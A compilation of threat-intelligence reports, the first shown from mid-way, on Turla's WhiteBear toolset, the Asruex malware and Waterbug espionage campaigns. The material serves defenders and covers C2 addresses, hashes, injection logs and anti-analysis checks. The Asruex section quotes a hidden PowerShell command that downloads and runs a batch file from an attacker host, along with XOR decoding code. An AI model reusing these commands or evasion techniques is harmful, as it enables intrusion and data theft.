An example of these tasks is shown below: write a file and execute it with CreateProcess() capturing all of the standard output update CC configuration, plugin storage, etc update autoruns write arbitrary files to the filesystem (File Upload) read arbitrary files from the filesystem (File Download) update itself uninstall push task results to C2 servers The LocalTransport manager handles named pipe communication and identifies if the packet received is designated to the current instance or to someone else (down the route).
In the latter scenario the LocalTansport manager re-encrypts the packet, serializes it (again), and pushes the packet via a named pipe on the local network to another hop, (NullSessionPipes).
This effectively makes each infected node a packet router.
The Autorun manager subsystem is responsible for tracking the way that the malicious module starts in the system and it maintains several different methods for starting automatically (shown below): 6/11 LinkAutorun The subsystem searches for a LNK file in the target directory, changes the path to cmd.exe and the description to  /q /c start  s  start  s TaskScheduler20Autorun The subsystem creates the ITaskService (works only on Windows Vista) and uses the ITaskService interface to create a new task with a logon trigger StartupAutorun The subsystem creates a LNK file in STARTUP ScreenSaverAutorun The subsystem installs as a current screensaver with a hidden window HiddenTaskAutorun The subsystem creates the task ITaskScheduler (works only on pre-Vista NT).
The task trigger start date is set to the creation date of the Windows directory ShellAutorun Winlogon registry [HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] Shellexplorer.exe, File Uninstallation is done in a discreet manner.
The file is filled with zeroes, then renamed to a temporary filename before being deleted WhiteBear Transport library (aka Internet Relations, Pipe Relations) Sample MD5: 19ce5c912768958aa3ee7bc19b2b032c Type: PE DLL Linker timestamp: 2002.02.05 17:58:22 (GMT) Linker version: 10.0 Signature Solid Loop Ldt UTCTime 15/10/2015 00:00:00 GMT  UTCTime 14/10/2016 23:59:59 GMT This transport library does not appear on disk in its PE format.
It is maintained as encrypted resource 107 in the orchestrator module, then decrypted and loaded by the orchestrator directly into the memory of the target process.
This C2 interaction module is independent, once started, it interacts with the orchestrator using its local named pipe.
To communicate with its C2 server, the transport library uses the system user agent or default Mozilla/4.0 (compatible MSIE 6.0).
Before attempting a connection with its configured C2 server, the module checks if the victim system is connected to Internet by sending HTTP 1.1 GET / requests to the following servers (this process stops after the first successful connection): update.microsoft.com microsoft.com windowsupdate.microsoft.com yahoo.com google.com If there is no Internet connection available, the module changes state to, CANNOT_WORK and notifies the peer by sending command 7 over the local pipe.
The C2 configuration is obtained from the main module with the command 5.
This checks whether the module complies with the schedule specified in the C2 settings (which includes inactivity time and the interval between connections).
The C2 interaction stages have interesting function names and an odd misspelling, indicating that the developer may not be a native English speaker (or may have learned the English language in a British setting): InternetRelations::GetInetConnectToGazer InternetRelations::ReceiveMessageFromCentre InternetRelations::SendMessageToCentre PipeRelations::CommunicationTpansportPipe The module writes the encrypted log to TEMP\CVRG38D9.tmp.cvr The module sends a HTTP 1.0 GET request through a randomly generated path to the C2 server.
The servers reply is expected to have its MD5 checksum 7/11 appended to the packet.
If C2 interaction fails, the module sends the command 10 (NO_CONNECT_TO_GAYZER) to the orchestrator.
Unusual WhiteBear Encryption The encryption implemented in the WhiteBear orchestrator is particularly interesting.
We note that the resource section is encrypted/decrypted and packed/decompressed with RSA3DESBZIP2.
This implementation is unique and includes the format of the private key as stored in the resource section.
3DES is present in Sofacy and Duqu2 components, however they are missing in this Microsoft-centric RSA encryption technique.
The private key format used in this schema and RSA crypto combination with 3DES is (currently) unique to this threat actor.
The private key itself is stored as a raw binary blob, in a format similar to the one Microsoft code uses in PVK format.
This format is not officially documented, but its structures and handling are coded into OpenSSL.
This private key value is stored in the orchestrator resources without valid headers.
The orchestrator code prepends valid headers and passes the results to OpenSSL functions that parse the blob.
Digital Code-Signing Certificate  Fictional Corporation or Assumed Identity?
Most WhiteBear samples are signed with a valid code signing certificate issued for Solid Loop Ltd, a once- registered British organization.
Solid Loop is likely a phony front organization or a defunct organization and actors assumed its identity to abuse the name and trust, in order to attain deceptive code-signing digital certificates.
WhiteBear Command and Control The WhiteBear C2 servers are consistent with long standing Turla infrastructure management practices, so the backdoors callback to a mix of compromised servers and hijacked destination satellite IP hosts.
For example, direct, hardcoded Turla satellite IP C2 addresses are shown below: 8/11 C2 IP Address               Geolocation                            IP Space Owner 169.255.137[.
]203         South Sudan                           IPTEC, VSAT 217.171.86[.
]137           Congo                                     Global Broadband Solution, Kinshasa VSAT 66.178.107[.
]140           Unknown  Likely Africa          SES/New Skies Satellites Targeting and Victims WhiteBear targets over the course of a couple years are related to government foreign affairs, international organizations, and later, defense organizations.
The geolocation of the incidents are below: Europe South Asia Central Asia East Asia South America Conclusions WhiteBear activity reliant on this toolset seems to have diminished in June 2017.
But Turla efforts continue to be run as multiple subgroups and campaigns.
This one started targeting diplomatic entities and later included defense related organizations.
Infrastructure overlap with other Turla campaigns, code artifacts, and targeting are consistent with past Turla efforts.
With this subset of 2016-2017 WhiteBear activity, Turla continues to be one of the most prolific, longstanding, and advanced APT we have researched, and continues to be the subject of much of our research.
Links to publicly reported research are below.
Reference Set Full IOC and powerful YARA rules delivered with private report subscription Md5 b099b82acb860d9a9a571515024b35f0 19ce5c912768958aa3ee7bc19b2b032c 06bd89448a10aa5c2f4ca46b4709a879 IP 169.255.137[.
]203 217.171.86[.
]137 66.178.107[.
]140 Domain(s) soligro[.
]com  interesting because the domain is used in another Turla operation (KopiLuwak), and is the C2 server for the WhiteBear transport library mydreamhoroscope[.
]com Example log upon successful injection 01:58:10:216.
[0208WinMain ]..
01:58:14:982.
[0209WinMain ].
01:58:15:826.
[0212WinMain ].DATE: 01.01.2017 01:58:21:716.
[0215WinMain ].PID2344.TID1433.Heaps3 9/11 01:58:22:701.
[0238WinMain ].CreateMutex  521555FA-170C-4AA7-8B2D-159C2F491AA4 01:58:25:513.
[0286GetCurrentUserSID ]._GETSID_METHOD_1_ 01:58:26:388.
[0425GetUserSidByName ].22 15 1284404594 111 01:58:27:404.
[0463GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000 01:58:28:263.
[0471GetUserSidByName ].
01:58:29:060.
[0165GeneratePipeName ].\\.\pipe\Winsock2\CatalogChangeListener-5623-b 01:58:29:763.
[0275WinMain ].PipeName  \\.\pipe\Winsock2\CatalogChangeListener-5623-b 01:58:30:701.
[0277WinMain ].Checking for existence 01:58:31:419.
[0308WinMain ].
Pipe is not installed yet 01:58:32:044.
[0286GetCurrentUserSID ]._GETSID_METHOD_1_ 01:58:32:841.
[0425GetUserSidByName ].22 15 1284404594 111 01:58:33:701.
[0463GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000 01:58:34:419.
[0471GetUserSidByName ].
01:58:35:201.
[0318WinMain ].Loading 01:58:35:763.
[0026KernelInjector::KernelInjector ].Address of marker: 0x0025F96C and cProcName: 0x0025F860 01:58:36:513.
[0031KernelInjector::KernelInjector ].Value of marker  0xFFFFFEF4 01:58:37:279.
[0088KernelInjector::SetMethod ].m_bAntiDEPMethod  1 01:58:38:419.
[0564QueryProcessesInformation ].OK 01:58:41:169.
[0286GetCurrentUserSID ]._GETSID_METHOD_1_ 01:58:42:076.
[0425GetUserSidByName ].22 15 1284404594 111 01:58:42:748.
[0463GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000 01:58:43:169.
[0471GetUserSidByName ].
01:58:43:701.
[0309FindProcesses ].dwPID[0]  1260 01:58:44:560.
[0345WinMain ].try to load dll to process (pid1260)) 01:58:45:013.
[0088KernelInjector::SetMethod ].m_bAntiDEPMethod  1 01:58:45:873.
[0094KernelInjector::LoadDllToProcess ].MethodToUse  1 01:58:46:544.
[0171KernelInjector::GetProcHandle ].pid  1260 01:58:47:279.
[0314KernelInjector::CopyDllFromBuffer ].Trying to allocate space at address 0x20020000 01:58:48:404.
[0332KernelInjector::CopyDllFromBuffer ].IMAGEBASE  0x20020000.ENTRYPOINT 0x2002168B 01:58:48:763.
[0342KernelInjector::CopyDllFromBuffer ].ANTIDEP INJECT 01:58:49:419.
[0345KernelInjector::CopyDllFromBuffer ].Writing memory to target process.
01:58:49:935.
[0353KernelInjector::CopyDllFromBuffer ].Calling to entry point.
01:58:51:185.
[0598KernelInjector::CallEntryPoint ].CODE  0x01FA0000, ENTRY  0x2002168B, CURR 0x77A465A5, TID  1132 01:58:55:544.
[0786KernelInjector::CallEntryPoint ]._FINISH_  1 01:58:56:654.
[0372KernelInjector::CopyDllFromBuffer ].CTRLPROC  0 01:58:57:607.
[0375KernelInjector::CopyDllFromBuffer ].
INJECTED 01:58:58:419.
[0351WinMain ].
Load in 1260 References  past Turla research The Epic Turla Operation Satellite Turla: APT Command and Control in the Sky Agent.btz: a Source of Inspiration?
The Penquin Turla Penquins Moonlit Maze KopiLuwak: A New JavaScript Payload from Turla Uroburos: the snake rootkit [pdf] 10/11 https://securelist.com/the-epic-turla-operation/65545/ https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/ https://securelist.com/agent-btz-a-source-of-inspiration/58551/ https://securelist.com/the-penquin-turla-2/67962/ https://securelist.com/penquins-moonlit-maze/77883/ https://securelist.com/kopiluwak-a-new-javascript-payload-from-turla/77429/ http://artemonsecurity.com/uroburos.pdf The Snake Campaign 11/11 http://www.baesystems.com/en/cybersecurity/feature/the-snake-campaign Introducing WhiteBear Technical Details WhiteBear Binary loader Loader runtime flow WhiteBear Main module/orchestrator Pipe Transport WhiteBear Transport library (aka Internet Relations, Pipe Relations) Unusual WhiteBear Encryption Digital Code-Signing Certificate  Fictional Corporation or Assumed Identity?
WhiteBear Command and Control Targeting and Victims Conclusions Reference Set Full IOC and powerful YARA rules delivered with private report subscription References  past Turla research
Asruex: Malware Infecting through Shortcut Files blog.jpcert.or.jp/2016/06/asruex-malware-infecting-through-shortcut-files.html JPCERT/CC has been observing malicious shortcut files that are sent as email attachments to a limited range of organisations since around October 2015.
When this shortcut file is opened, the host will be infected with malware called Asruex.
The malware has a remote controlling function, and attackers sending these emails seem to attempt intruding into the targets network using the malware.
According to a blog article by Microsoft, the malware is associated with an attacker group identified as DarkHotel (Microsoft calls it as Dubnium) [1].
This blog entry will introduce the details of Asruex.
Infection Mechanism of Asruex Figure 1 describes the chain of events after a victim opens the malicious shortcut file until the host gets infected with Asruex.
Figure 1: Chain of events after a victim opens the malicious shortcut file until the host gets infected with Asruex For those cases that JPCERT/CC has observed, when the shortcut file is opened, a downloader is downloaded from a CC server and then executed.
The downloader then downloads Asruex from another CC server, which is then executed.
Detailed behaviour observed in each phase will be explained in the next section.
Details of the Shortcut File 1/11 http://blog.jpcert.or.jp/2016/06/asruex-malware-infecting-through-shortcut-files.html http://jpcert.lekumo.biz/.shared/image.html?/photos/uncategorized/2016/06/30/asruex.png http://jpcert.lekumo.biz/.shared/image.html?/photos/uncategorized/2016/06/30/jpgimage.png When the malicious shortcut file is opened, the following PowerShell command in the file is executed.
powershell -windowstyle hidden c(new-object System.
Net.
WebClient).DownloadFile(http://online-dropbox.com/online/a , env:tmp\gst.bat)Invoke-Expression ctmp\gst.bat CD The above PowerShell command downloads a file from the specified URL, and it is saved as a batch file to be executed.
The batch file contains the following commands, which execute PowerShell scripts (marked in red).
echo powershell -Enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUw chcp 65001 cd tmp start winword article_draft.docx copy article_draft.docx 1 del /f 1\..lnk echo powershell -Enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMA tmp\dwm.exe When the batch file is executed, a Windows executable file (a downloader) and a dummy file for display will be downloaded from a CC server, saved in TEMP folder and then executed.
Those decoy documents are written in Japanese, but some are also in Chinese, which implies that the target for this attack is not limited to Japanese organisations.
Details of the Downloader When the downloader is executed, it downloads a .jpg or .gif image file.
Encoded Asruex is contained in the latter part of the image file.
The downloader decodes it and then executes the malware.
Figure 2: An Image File Containing Encoded Asruex Asruex contained in the image file is encoded using XOR.
The following Python script is used for decoding the encoded data of the image file.
The size of the encoded data is specified in the last 4 bytes of the image file.
key  0x1D   Keys may vary depending on the sample for i in range(0, length): buf[i]  chr(ord(buf[i])  key) 2/11 key  0x5D key 0xff The downloader may contain an encoded executable file of Process Hacker (a multi-function task manager), and it may execute the Process Hacker if an anti-virus software is detected.
Anti-virus software such as by Symantec, McAfee and Kaspersky, etc.,
are detected based on the process names.
Details of Asruex Asruex is a kind of malware that communicates with the CC server over HTTP, and executes the command received through the communication.
It has various anti-analysis features such as preventing the malware from running when it detects a virtual machine.
Please refer to Appendix A for conditions which Asruex detects a virtual machine.
The malware is also capable of detecting anti-virus software.
If Asruex does not detect a virtual machine, it executes one of the following executable files, and injects a DLL file which is contained in Asruex.
In case where it detects anti-virus software, Asruex generates a DLL file and loads it to itself (but does not perform DLL injection).
This DLL file contains the core functions of Asruex.
sdiagnhost.exe wksprt.exe taskhost.exe dwm.exe winrshost.exe wsmprovhost.exe ctfmon.exe explorer.exe The DLL injected, or generated and loaded, sends an HTTP request to a dummy host.
If it receives a reply of status code that is 100 or greater, it connects to an actual CC server as follows: GET /table/list.php?
a16fcadf059e54a19c7b96b0758a2d20a4396b85e77138dbaff3fddd04909de91 62a8910eab1141343492e90a78e75bfa7cafa3ed0a51740daa4cad36291e637074255217 omitted- HTTP/1.1 Connection: Keep-Alive Content-Type: text/plain charsetutf-8 Accept: / User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 Host: [host name] Asruex operates based on the configuration information stored in itself.
The configuration Information includes CC servers and dummy hosts that it connects to, and also version information and a key to decode data which is delivered.
For further details on the configuration information, please refer to Appendix B.
The configuration information is encoded.
It can be decoded with the following Python code: 3/11 (config_size,)  struct.unpack(I, data[offset:offset4]) config_offset  offset  4 encode_config  data[config_offset:config_offsetconfig_size] i  0 seed  config_size  2  // It does not necessarily double while i  config_size: (result, seed)  rand_with_seed(seed) result  0xff decode_data.append(chr(ord(encode_config[i])  result)) i  1 decode_config   .join(decode_data) (decode_size,)  struct.unpack(I, decode_config[config_size-4:config_size]) config  lznt1_decompress(decode_config, config_size, decode_size) Asruex executes commands that are received from a CC server.
Commands that are possibly executed are listed in Table 1.
Most of the commands are used for collecting information, but some are for downloading DLL files (AdvProv.dll) from CC servers and for executing them.
AdvProv.dll is a plug-in to expand functions of Asruex.
Table 1: Commands used by Asruex Command Function 1 Collect information of infected hosts 2 Obtain process list 3 Obtain file list 4 Change waiting time 5 Obtain version information 6 Uninstall 501 Obtain folder list 502 Load DLL - Execute external DLL (AdvProv.dll) Details of AdvProv.dll AdvProv.dll is encrypted using XOR and 3DES.
Decryption key is calculated based on the destination URL and the encoding key of the configuration information.
Asruex downloads a DLL, loads it into the memory and executes DLLs export function, Get_CommandProc.
AdvProv.dll adds the following commands to Asruex: 4/11 Table 2: Asruex Commands added by AdvProv.dll Command Function 101 Download 102 Copy a file 103 Change a file name 104 Change file time 105 Delete a file 106 Terminate a process 107 Search a registry 108 Show a registry entry 109 Create a registry entry 110 Show a registry entry 111 Delete a registry entry 112 Update 601 Download and execute a file Samples of AdvProv.dll that JPCERT/CC has observed had the listed functions.
However, there may be some other versions with different functions.
Summary Asruex is a relatively new kind of malware that has been seen since around October 2015.
It is likely that targeted attacks using Asruex will continue.
Hash values of artifacts demonstrated in this article are described in Appendix C. Also, destination URLs confirmed by JPCERT/CC are listed in Appendix D. It is recommended to make sure that the hosts you use are not accessing these URLs.
Thanks for reading.
-
Shusei Tomonaga (Translated by Yukako Uchida) Reference 5/11 [1] Microsoft - Reverse-engineering DUBNIUM https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/ Appendix A: Conditions where Asurex detects an analysis environment If Asruex detects itself being operated in an environment under any of the following conditions (Table A-1 to A-6), it recognises that it is an analysis environment and stops running.
Table A-1: The user matches the computer name and user name as listed.
Table A-2: Listing up the loaded modules, and if the listed functions are found to be exported.
Table A-3: The listed file names are found.
Table A-4: The listed process names are running.
Table A-5: Listing up the process modules that are running, and the module version matches the combination listed.
Table A-6: The disk name contains the listed strings.
Table A-1: Detectable Combination of Computer Name and User Name Computer Name User Name BRBRB-D8FB22AF1 antonie ANTONY-PC Antony TEQUILABOOMBOOM janettedoe HBXPENG makrorechner IOAVM Administrator XANNY Administrator NONE-DUSEZ58JO1 Administrator rtrtrele Administrator HOME-OFF-D5F0AC Dave DELL-D3E64F7E26 Administrator JONATHAN-C561E0 Administrator HANS HanueleBaser IePorto Administrator 6/11 https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/ Table A-2: Detectable Functions Functions _SbieDll_Hook12 _SbieApi_QueeryProcessPath28 hook_api New2_CreateProcessInternalW48 Table A-3: Detectable File Names File Names \\.\pipe\cuckoo [System Drive]:\cuckoo Table A-4: Detectable Process Names Process Names Filemon.exe Regmon.exe Procmon.exe Tcpview.exe wireshark.exe dumpcap.exe regshot.exe cports.exe smsniff.exe SocketSniff.exe Table A-5: Detectable Combinations of File Version Information FileDescription CompanyName Sysinternals 7/11 SysinternalsRegistryMonitor Sysinternals ProcessMonitor Sysinternals TCP/UDPendpointviewer Sysinternals Wireshark TheWiresharkdevelopercommunity Dumpcap TheWiresharkdevelopercommunity Regshot RegshotTeam CurrPorts NirSoft SmartSniff NirSoft SocketSniff NirSoft FileDescription CompanyName Table A-6: Detectable Disk Names Disk Name vmware Virtual HD MS VirtualSCSI Disk Device Appendix B: Configuration Information Table B-1: List of Configuration Information Offset Length Description 0x000 16 ID 0x010 4 Version Information 0x014 256 Install Path 0x114 64  3 Dummy URLs to connect to  3 0x1D4 256  3 HTTP Access URLs  3 0x4D4 256 Sending data store path 1 0x5D4 64 Sending data strings 1 8/11 0x614 256 Sending data store path 2 0x714 64 Sending data strings 2 0x754 64 Encode key 0x794 4 Suspension time 0x798 256  3 File name  3 0xA98 4 Machine information (pointer) 0xA9C 4 Connect destination (pointer) 0xAA0 4 Not in use Offset Length Description Encode keys blackolive darktea 12qwWE Appendix C: SHA-256 Hash Value of Artifacts Shortcut files: c60a93a712d0716a04dc656a0d1ba06be5047794deaa9769a2de5d0fcf843c2a ae421dd24306cbf498d4f82b650b9162689e6ef691d53006e8f733561d3442e2 980cc01ec7b2bd7c1f10931822c7cfe2a04129588caece460e05dcc0bb1b6c34 b175567800d62dcb00212860d23742290688cce37864930850522be586efa882 c2e99eedf555959721ef199bf5b0ac7c68ea8205d0dff6c208adf8813411a456 ac63703ea1b36358d2bec54bddfef28f50c635d1c7288c2b08cceb3608c1aa27 5cfc67945dd39885991131f49f6717839a3541f9ba141a7a4b463857818d01e6 e76c37b86602c6cc929dffe5df7b1056bff9228dde7246bf4ac98e364c99b688 606e98df9a206537d35387858cff62eb763af20853ac3fa61aee8f3c280aaafe Downloaders: fdf3b42ac9fdbcabc152b200ebaae0a8275123111f25d4a68759f8b899e5bdd6 dd2cba1a0d54a486a39f63cbd4df6129755a84580c21e767c44c0a7b60aff600 d89e2cc604ac7da05feeb802ed6ec78890b1ef0a3a59a8735f5f772fc72c12ef caefcdf2b4e5a928cdf9360b70960337f751ec4a5ab8c0b75851fc9a1ab507a8 8ca8067dfef13f10e657d299b517008ad7523aacf7900a1afeb0a8508a6e11d3 9/11 77ca1148503def0d8e9674a37e1388e5c910da4eda9685eabe68fd0ee227b727 05f241784e673f2af8a2a423fb66e783a97f123fc3d982144c39e92f191d138d a77d1c452291a6f2f6ed89a4bac88dd03d38acde709b0061efd9f50e6d9f3827 2273236013c1ae52bfc6ea327330a4eba24cc6bc562954854ae37fe55a78310b 36581a19160f2a06c617a7e555ad8ec3280692442fd81bde3d47a59aea2be09a a3f1a4a5fea81a6f12ef2e5735bb845fb9599df50ffd644b25816f24c79f53b6 24b587280810fba994865d27f59a01f4bbdaf29a14de50e1fc2fadac841c299e 2c68cf821c4eabb70f28513c5e98fa11b1c6db6ed959f18e9104c1c882590ad2 3f2168a9a51d6d6fe74273ebfc618ded3957c33511435091885fa8c5f854e11e df72a289d535ccf264a04696adb573f48fe5cf27014affe65da8fd98750029db eacc46f54fa8c8a8cf51368305803d949fa2625066ec634da9a41d08f2855617 e139a8916f99ce77dbdf57eaeac5b5ebe23367e91f96d7af59bee7e5919a7a81 8a6d76bd21e70a91abb30b138c12d0f97bb4971bafa072d54ce4155bea775109 35fc95ec78e2a5ca3c7a332db9ca4a5a5973607a208b9d637429fe1f5c760dd5 Asruex: 8af41d303db8a975759f7b35a236eb3e9b4bd2ef65b070d19bd1076ea96fa5c4 a9ce1f4533aeec680a77d7532de5f6b142eb8d9aec4fdbe504c37720befe9ce3 9350f7eb28f9d72698216105c51a4c5ad45323f907db9936357d6914fc992c90 694de22c0b1a45c0e43caaa91486bc71a905443b482f2d22ded16b5ce3b0e738 18e12feeb3fb4117ca99e152562eada2eb057c09aab8f7a424e6d889f70feb6c 148a834e2717d029a4450dfa7206fd7d36c420edb95068c57766da0f61b288e8 d869ce2ba491713e4c3f405ad500245d883b0e7b66abeee2522e701c8493388a fca19a78fc71691f3f97808624b24f00dd1f19ccadcc6e3a7e2be5b976d8937b eb31f931f0e2abf340f3f95861a51e30677fd4216b2e4ee4d8570b41cb41249c 7a95930aa732d24b4c62191247dcdc4cb483d8febaab4e21ca71fec8f29b1b7c AdvProv.dll f06000dceb4342630bf9195c2475fcd822dfe3910b0fa21691878071d0bb10fc Others 6d4e7d190f4d7686fd06c823389889d226ea9c8524c82c59a765bba469f2f723 e7d51bb718c31034b597aa67408a015729be85fc3aefcc42651c57d673a4fe5a 7074a6d3ab049f507088e688c75bae581fad265ebb6da07b0efd789408116ec8 Appendix D: Hosts that Asruex connects to vodsx.net 10/11 office365-file.com service365-team.com datainfocentre.com eworldmagazine.org supportservice247.com seminarinfocenter.net vdswx.net housemarket21.com product-report24.com requestpg.net secu-docu.net send-error.net send-form.net wzixx.net login-confirm.com 2.gp 2.ly online-dropbox.com sendspaces.net institute-secu.org pb.media-total.org response-server.com enewscenters.com sbidnest.com servicemain.com 11/11 Asruex: Malware Infecting through Shortcut Files Infection Mechanism of Asruex Details of the Shortcut File Details of the Downloader Details of Asruex Details of AdvProv.dll Summary Reference Appendix A: Conditions where Asurex detects an analysis environment Appendix B: Configuration Information Appendix C: SHA-256 Hash Value of Artifacts Appendix D: Hosts that Asruex connects to
Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments symantec.com/blogs/threat-intelligence/waterbug-espionage-governments The Waterbug espionage group (aka Turla) has continued to attack governments and international organizations over the past eighteen months in a series of campaigns that have featured a rapidly evolving toolset and, in one notable instance, the apparent hijacking of another espionage groups infrastructure.
Three waves of attacks Recent Waterbug activity can be divided into three distinct campaigns, characterized by differing toolsets.
One campaign involved a new and previously unseen backdoor called Neptun (Backdoor.
Whisperer).
Neptun is installed on Microsoft Exchange servers and is designed to passively listen for commands from the attackers.
This passive listening capability makes the malware more difficult to detect.
Neptun is also able to download additional tools, upload stolen files, and execute shell commands.
One attack during this campaign involved the use of infrastructure belonging to another espionage group known as Crambus (aka OilRig, APT34).
A second campaign used Meterpreter, a publicly available backdoor along with two custom loaders, a custom backdoor called photobased.dll, and a custom Remote Procedure Call (RPC) backdoor.
Waterbug has been using Meterpreter since at least early 2018 and, in this campaign, used a modified version of Meterpreter, which was encoded and given a .wav extension in order to disguise its true purpose.
The third campaign deployed a different custom RPC backdoor to that used in the second campaign.
This backdoor used code derived from the publicly available PowerShellRunner tool to execute PowerShell scripts without using powershell.exe.
This tool is designed to bypass detection aimed at identifying malicious PowerShell usage.
Prior to execution, the PowerShell scripts were stored Base64-encoded in the registry.
This was probably done to avoid them being written to the file system.
1/11 https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments https://www.symantec.com/security-center/writeup/2019-052708-1556-99 https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/ https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ 2/11 Figure 1.
Waterbug group rolls out fresh toolset in three new campaigns Retooled Waterbugs most recent campaigns have involved a swath of new tools including custom malware, modified versions of publicly available hacking tools, and legitimate administration tools.
The group has also followed the current shift towards living off the land, making use of PowerShell scripts and PsExec, a Microsoft Sysinternals tool used for executing processes on other systems.
Aside from new tools already mentioned above, Waterbug has also deployed: A new custom dropper typically used to install Neptun as a service.
A custom hacking tool that combines four leaked Equation Group tools (EternalBlue, EternalRomance, DoublePulsar, SMBTouch) into a single executable.
A USB data collecting tool that checks for a connected USB drive and steals certain file types, encrypting them into a RAR file.
It then uses WebDAV to upload to a Box cloud drive.
Visual Basic scripts that perform system reconnaissance after initial infection and then send information to Waterbug command and control (CC) servers.
PowerShell scripts that perform system reconnaissance and credential theft from Windows Credential Manager and then send this information back to Waterbug CCs.
Publicly available tools such as IntelliAdmin to execute RPC commands, SScan and NBTScan for network reconnaissance, PsExec for execution and lateral movement, and Mimikatz (Hacktool.
Mimikatz) for credential theft, and Certutil.exe to download and decode remote files.
These tools were identified being downloaded via Waterbug tools or infrastructure.
Victims These three recent Waterbug campaigns have seen the group compromise governments and international organizations across the globe in addition to targets in the IT and education sectors.
Since early 2018, Waterbug has attacked 13 organizations across 10 different countries: The Ministry of Foreign Affairs of a Latin American country The Ministry of Foreign Affairs of a Middle Eastern country The Ministry of Foreign Affairs of a European country The Ministry of the Interior of a South Asian country Two unidentified government organizations in a Middle Eastern country One unidentified government organization in a Southeast Asian country 3/11 https://www.symantec.com/security-center/writeup/2012-042615-3731-99 A government office of a South Asian country based in another country An information and communications technology organization in a Middle Eastern country Two information and communications technology organizations in two European countries An information and communications technology organization in a South Asian country A multinational organization in a Middle Eastern country An educational institution in a South Asian country Hijacked infrastructure One of the most interesting things to occur during one of Waterbugs recent campaigns was that during an attack against one target in the Middle East, Waterbug appeared to hijack infrastructure from the Crambus espionage group and used it to deliver malware on to the victims network.
Press reports have linked Crambus and Waterbug to different nation states.
While it is possible that the two groups may have been collaborating, Symantec has found no further evidence to support this.
In all likelihood, Waterbugs use of Crambus infrastructure appears to have been a hostile takeover.
Curiously though, Waterbug also compromised other computers on the victims network using its own infrastructure.
During this attack, a customized variant of the publicly available hacking tool Mimikatz was downloaded to a computer on the victims network from known Crambus-controlled network infrastructure.
Mimikatz was downloaded via the Powruner tool and the Poison Frog control panel.
Both the infrastructure and the Powruner tool have been publicly tied to Crambus by a number of vendors.
Both were also mentioned in recent leaks of documents tied to Crambus.
Symantec believes that the variant of Mimikatz used in this attack is unique to Waterbug.
It was heavily modified, with almost all original code stripped out aside from its sekurlsa::logonpasswords credential stealing feature.
Waterbug has frequently made extensive modifications to publicly available tools, something Crambus is not well known for.
The variant of Mimikatz used was packed with a custom packing routine that has not been seen before in any non-Waterbug malware.
Waterbug used this same packer on a second custom variant of Mimikatz and on a dropper for the groups custom Neuron service (Trojan.
Cadanif).
Its use in the dropper leads us to conclude that this custom packer is exclusively used by Waterbug.
Additionally, this version of Mimikatz was compiled using Visual Studio and the publicly available bzip2 library which, although not unique, has been used by other Waterbug tools previously.
Aside from the attack involving Crambus infrastructure, this sample of Mimikatz has only been seen used in one other attack, against an education target in the UK in 2017.
On that 4/11 https://www.symantec.com/security-center/writeup/2017-032415-1608-99 occasion, Mimikatz was dropped by a known Waterbug tool.
In the case of the attack against the Middle Eastern target, Crambus was the first group to compromise the victims network, with the earliest evidence of activity dating to November 2017.
The first observed evidence of Waterbug activity came on January 11, 2018, when a Waterbug-linked tool (a task scheduler named msfgi.exe) was dropped on to a computer on the victims network.
The next day, January 12, the aforementioned variant of Mimikatz was downloaded to the same computer from a known Crambus CC server.
Two further computers on the victims network were compromised with Waterbug tools on January 12, but there is no evidence that Crambus infrastructure was used in these attacks.
While one of these computers had been previously compromised by Crambus, the other showed no signs of Crambus intrusion.
5/11 Figure 2.
Waterbug likely compromised the CC network infrastructure of Crambus Waterbugs intrusions on the victims network continued for much of 2018.
On September 5, 2018, a similar Mimikatz variant was dropped by Waterbugs Neptun backdoor onto another computer on the network.
At around the same time, other Waterbug malware was seen on the victims network which communicated with known Waterbug CC servers.
Finally, the issue was clouded further by the appearance of a legitimate systems administration tool called IntelliAdmin on the victims network.
This tool is known to have been used by Crambus and was mentioned in the leak of Crambus documents.
However, in 6/11 this case, IntelliAdmin was dropped by custom Waterbug backdoors, including the newly identified Neptun backdoor, on computers that had not been affected by the Crambus compromise.
The incident leaves many unanswered questions, chiefly relating to Waterbugs motive for using Crambus infrastructure.
There are several possibilities: 1.
False flag: Waterbug does have a track record of using false flag tactics to throw investigators off the scent.
However, if this was a genuine attempt at a false flag operation, it begs the question of why it also used its own infrastructure to communicate with other machines on the victims network, in addition to using tools that could be traced back to Waterbug.
2.
Means of intrusion: It is possible that Waterbug wanted to compromise the target organization, found out that Crambus had already compromised its network, and hijacked Crambuss own infrastructure as a means of gaining access.
Symantec did not observe the initial access point and the close timeframe between Waterbug observed activity on the victims network and its observed use of Crambus infrastructure suggests that Waterbug may have used the Crambus infrastructure as an initial access point.
3.
Mimikatz variant belonged to Crambus: There is a possibility that the version of Mimikatz downloaded by the Crambus infrastructure was actually developed by Crambus.
However, the compilation technique and the fact that the only other occasion it was used was linked to Waterbug works against this hypothesis.
The fact that Waterbug also appeared on the victims network around the same time this version of Mimikatz was downloaded would make it an unlikely coincidence if the tool did belong to Crambus.
4.
Opportunistic sowing of confusion: If a false flag operation wasnt planned from the start, it is possible that Waterbug discovered the Crambus intrusion while preparing its attack and opportunistically used it in the hopes of sowing some confusion in the mind of the victim or investigators.
Based on recent leaks of Crambus internal documents, its Poison Frog control panel is known to be vulnerable to compromise, meaning it may have been a relatively trivial diversion on the part of Waterbug to hijack Crambuss infrastructure.
A compromise conducted by one threat actor group through anothers infrastructure, or fourth party collections, has been previously discussed in a 2017 white paper by Kaspersky researchers.
Further campaigns Waterbug has also mounted two other campaigns over the past year, each of which was characterized by separate tools.
These campaigns were wide ranging, hitting targets in Europe, Latin America, and South Asia.
